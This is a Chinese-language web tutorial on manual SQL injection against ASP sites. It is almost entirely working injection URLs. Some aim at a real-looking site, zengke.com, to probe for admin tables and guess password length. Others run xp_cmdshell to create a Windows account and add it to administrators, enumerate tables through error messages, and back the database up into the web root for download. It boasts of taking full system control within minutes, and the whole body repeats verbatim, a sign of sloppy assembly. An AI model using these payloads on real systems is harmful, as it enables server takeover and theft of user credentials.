手工注射asp學(xué)習(xí)
更新時間:2007年02月26日 00:00:00 作者:
ACCESS
查詢數(shù)據(jù)庫類型
http://www.zengke.com/product.asp?sort_id=24 and exists (select * from sysobjects)
查詢表admin頁面返回正常顯示為有,錯誤為無。
http://www.zengke.com//product.asp?sort_id=24 and exists (select * from admin)
查詢admin表中的項admin
/product.asp?sort_id=24 and exists (select admin_name from admin)
查詢admin表中的項admin里面的內(nèi)容長度 小于出錯 等于返回正常
http://www.zengke.com//product.asp?sort_id=24 And (Select Top 1 len(cstr([pwd])) From (Select Top 1 * From [admin] Where 1=1 Order by [pwd]) T Order by [pwd] desc)<=7
暴力猜解admin表中的項admin_name
SQL
①http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分號;在SQLServer中表示隔開前后兩句語句,--表示后面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執(zhí)行,先是Select出ID=1的記錄,然后執(zhí)行存儲過程xp_cmdshell,這個存儲過程用于調(diào)用系統(tǒng)命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號,接著:
②http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup administrators name /add”--
將新建的帳號name加入管理員組,不用兩分鐘,你已經(jīng)拿到了系統(tǒng)最高權(quán)限!當(dāng)然,這種方法只適用于用sa連接數(shù)據(jù)庫的情況,否則,是沒有權(quán)限調(diào)用xp_cmdshell的。
?、踙ttp://Site/url.asp?id=1 ;;and db_name()>0
前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統(tǒng)變量,返回的是連接的數(shù)據(jù)庫名。
④http://Site/url.asp?id=1;backup database 數(shù)據(jù)庫名 to disk='c:inetpubwwwroot.db';--
這是相當(dāng)狠的一招,從③拿到的數(shù)據(jù)庫名,加上某些IIS出錯暴露出的絕對路徑,將數(shù)據(jù)庫備份到Web目錄下面,再用HTTP把整個數(shù)據(jù)庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網(wǎng)絡(luò)地址的方法(如\202.96.xx.xxShare.db),但成功率不高。
?、輍ttp://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype='U' and status>0)>0
前面說過,sysobjects是SQLServer的系統(tǒng)表,存儲著所有的表名、視圖、約束及其它對象,xtype='U' and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第二、第三個表名怎么獲?。窟€是留給我們聰明的讀者思考吧。
⑥http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名'),1) from sysobjects)>0
從⑤拿到表名后,用object_id(‘表名')獲取表名對應(yīng)的內(nèi)部ID,col_name(表名ID,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。
查詢數(shù)據(jù)庫類型
http://www.zengke.com/product.asp?sort_id=24 and exists (select * from sysobjects)
查詢表admin頁面返回正常顯示為有,錯誤為無。
http://www.zengke.com//product.asp?sort_id=24 and exists (select * from admin)
查詢admin表中的項admin
/product.asp?sort_id=24 and exists (select admin_name from admin)
查詢admin表中的項admin里面的內(nèi)容長度 小于出錯 等于返回正常
http://www.zengke.com//product.asp?sort_id=24 And (Select Top 1 len(cstr([pwd])) From (Select Top 1 * From [admin] Where 1=1 Order by [pwd]) T Order by [pwd] desc)<=7
暴力猜解admin表中的項admin_name
SQL
①http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分號;在SQLServer中表示隔開前后兩句語句,--表示后面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執(zhí)行,先是Select出ID=1的記錄,然后執(zhí)行存儲過程xp_cmdshell,這個存儲過程用于調(diào)用系統(tǒng)命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號,接著:
②http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup administrators name /add”--
將新建的帳號name加入管理員組,不用兩分鐘,你已經(jīng)拿到了系統(tǒng)最高權(quán)限!當(dāng)然,這種方法只適用于用sa連接數(shù)據(jù)庫的情況,否則,是沒有權(quán)限調(diào)用xp_cmdshell的。
?、踙ttp://Site/url.asp?id=1 ;;and db_name()>0
前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統(tǒng)變量,返回的是連接的數(shù)據(jù)庫名。
④http://Site/url.asp?id=1;backup database 數(shù)據(jù)庫名 to disk='c:inetpubwwwroot.db';--
這是相當(dāng)狠的一招,從③拿到的數(shù)據(jù)庫名,加上某些IIS出錯暴露出的絕對路徑,將數(shù)據(jù)庫備份到Web目錄下面,再用HTTP把整個數(shù)據(jù)庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網(wǎng)絡(luò)地址的方法(如\202.96.xx.xxShare.db),但成功率不高。
?、輍ttp://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype='U' and status>0)>0
前面說過,sysobjects是SQLServer的系統(tǒng)表,存儲著所有的表名、視圖、約束及其它對象,xtype='U' and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第二、第三個表名怎么獲?。窟€是留給我們聰明的讀者思考吧。
⑥http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名'),1) from sysobjects)>0
從⑤拿到表名后,用object_id(‘表名')獲取表名對應(yīng)的內(nèi)部ID,col_name(表名ID,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。
相關(guān)文章
Windows家族內(nèi)部各個安全漏洞集體大搜捕(圖)
Windows家族內(nèi)部各個安全漏洞集體大搜捕(圖)...2007-01-01